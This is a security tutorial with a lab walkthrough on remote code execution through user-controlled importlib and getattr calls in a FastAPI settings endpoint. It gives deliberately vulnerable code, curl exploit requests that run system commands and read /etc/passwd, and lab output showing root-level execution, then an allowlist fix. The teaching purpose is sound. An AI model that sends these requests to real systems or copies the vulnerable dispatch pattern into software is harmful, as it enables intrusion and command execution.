Code Execution via Dynamic Python Code Invokation
Dynamic code invocation in Python allows developers to call functions and instantiate classes at runtime using string-based references. While this provides flexibility for plugin systems and configuration-driven architectures, it introduces severe security risks when user input controls which code gets executed.
Python’s built-in functions like getattr(), globals(), and __import__() enable dynamic access to modules, classes, and functions. When combined with untrusted input, an attacker can abuse these mechanisms to execute arbitrary code.
Vulnerable Application Example
The following FastAPI application implements a settings modification page that allows administrators to dynamically invoke configuration handlers. The design accepts a JSON request specifying the module, function, and arguments to call:
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from typing import Any, Dict, List
import importlib
app = FastAPI(
title="Settings Management API",
description="Dynamic configuration management system"
)
class SettingsRequest(BaseModel):
module: str
function: str
args: List[Any] = []
# Simulated settings handlers
class SettingsHandlers:
@staticmethod
def update_theme(theme_name: str):
return {"status": "success", "theme": theme_name}
@staticmethod
def update_language(lang_code: str):
return {"status": "success", "language": lang_code}
@app.post("/api/settings/apply")
def apply_settings(request: SettingsRequest):
"""
Apply configuration changes by dynamically invoking the specified handler.
Expected usage: module=SettingsHandlers, function=update_theme, args=["dark"]
"""
try:
# Vulnerable: dynamically imports and executes user-specified module/function
if request.module == "SettingsHandlers":
handler_class = SettingsHandlers
else:
# Dangerous: allows importing arbitrary modules
mod = importlib.import_module(request.module)
handler_class = mod
# Dangerous: allows calling any function with attacker-controlled arguments
func = getattr(handler_class, request.function)
result = func(*request.args)
return {"result": result}
except AttributeError:
raise HTTPException(status_code=400, detail="Invalid function specified")
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
The Vulnerability
The application accepts three user-controlled parameters:
class SettingsRequest(BaseModel):
module: str # Which module to load
function: str # Which function to call
args: List[Any] # Arguments to pass
The dangerous code path occurs in the endpoint handler:
mod = importlib.import_module(request.module)
func = getattr(handler_class, request.function)
result = func(*request.args)
This pattern allows an attacker to:
- Import any Python module available in the environment
- Access any attribute or function within that module
- Execute it with arbitrary arguments
Exploitation
An attacker can abuse this endpoint to execute system commands by targeting Python’s built-in modules:
# Execute system commands via os.system
curl -X POST http://target:8000/api/settings/apply \
-H "Content-Type: application/json" \
-d '{"module": "os", "function": "system", "args": ["id"]}'
# Read files via builtins
curl -X POST http://target:8000/api/settings/apply \
-H "Content-Type: application/json" \
-d '{"module": "builtins", "function": "open", "args": ["/etc/passwd"]}'
# Execute arbitrary commands via subprocess
curl -X POST http://target:8000/api/settings/apply \
-H "Content-Type: application/json" \
-d '{"module": "subprocess", "function": "getoutput", "args": ["whoami"]}'
The importlib.import_module() function loads any module by name, and getattr() retrieves any callable attribute. Combined with attacker-controlled arguments, this provides full code execution.
Why This Pattern Exists
Developers often implement dynamic dispatch for legitimate reasons:
- Plugin architectures that load handlers at runtime
- Configuration-driven systems where behavior is defined in config files
- Admin interfaces that expose internal functionality
The mistake is allowing untrusted input to control which code paths execute.
Why dynamic code invocation matters from an offensive security perspective
When I find an endpoint that takes a module name and a function name as input, I treat it as pre-authenticated RCE. There is no gadget chain to build and no memory corruption to land. The application volunteers importlib.import_module plus getattr, and I supply subprocess.getoutput with my command. The yield is immediate command execution in the app’s context, which usually means I inherit whatever the worker can reach: the database, internal services, cloud metadata, and the filesystem.
What makes this class so valuable is that it hides behind legitimate-looking design. Plugin loaders, config-driven dispatchers, and admin “apply” endpoints all look reasonable in a code review, so the bug survives into production. I hunt for the tells:
- Request fields named
module,handler,callable,func,class, ortargetthat get passed intoimport_module,getattr,globals(), or__import__. - An allowlist
ifthat only covers the happy path and falls through to a generic import branch for anything else, exactly like theelsehere. getattr(obj, user_input)with no membership check, especially whenobjis a module or the result of a dynamic import.*args/**kwargssplatted straight from the request body into the resolved callable, which hands me arbitrary arguments toos.systemoropen.
The defender takeaway: any path where untrusted input names the code to run is RCE until proven otherwise, so resolve callables only through a hard-coded allowlist that never falls through to a dynamic import. See also Insecure Dynamic Code Evaluation and Execution in Python and Python Command Injection.
Proof of exploitation
Run the lab app (PyFuLabs/fastapi-fu/fastapi-dynamic-invocation). The request names a module and function that the server imports and calls, so naming subprocess.getoutput runs a command:
curl -s -X POST "http://pyfu.local/fastapi-fu/fastapi-dynamic-invocation/api/settings/apply" \
-H "Content-Type: application/json" \
-d '{"module":"subprocess","function":"getoutput","args":["id"]}'
{"result":"uid=0(root) gid=0(root) groups=0(root)"}
importlib.import_module followed by getattr turned an attacker-named module and function into arbitrary code execution.
Mitigation
Implement strict allowlisting of permitted modules and functions:
ALLOWED_HANDLERS = {
"SettingsHandlers": {
"update_theme": SettingsHandlers.update_theme,
"update_language": SettingsHandlers.update_language
}
}
@app.post("/api/settings/apply")
def apply_settings(request: SettingsRequest):
if request.module not in ALLOWED_HANDLERS:
raise HTTPException(status_code=403, detail="Module not allowed")
if request.function not in ALLOWED_HANDLERS[request.module]:
raise HTTPException(status_code=403, detail="Function not allowed")
func = ALLOWED_HANDLERS[request.module][request.function]
result = func(*request.args)
return {"result": result}
Never use importlib.import_module() or getattr() with user-controlled input without strict validation against an allowlist.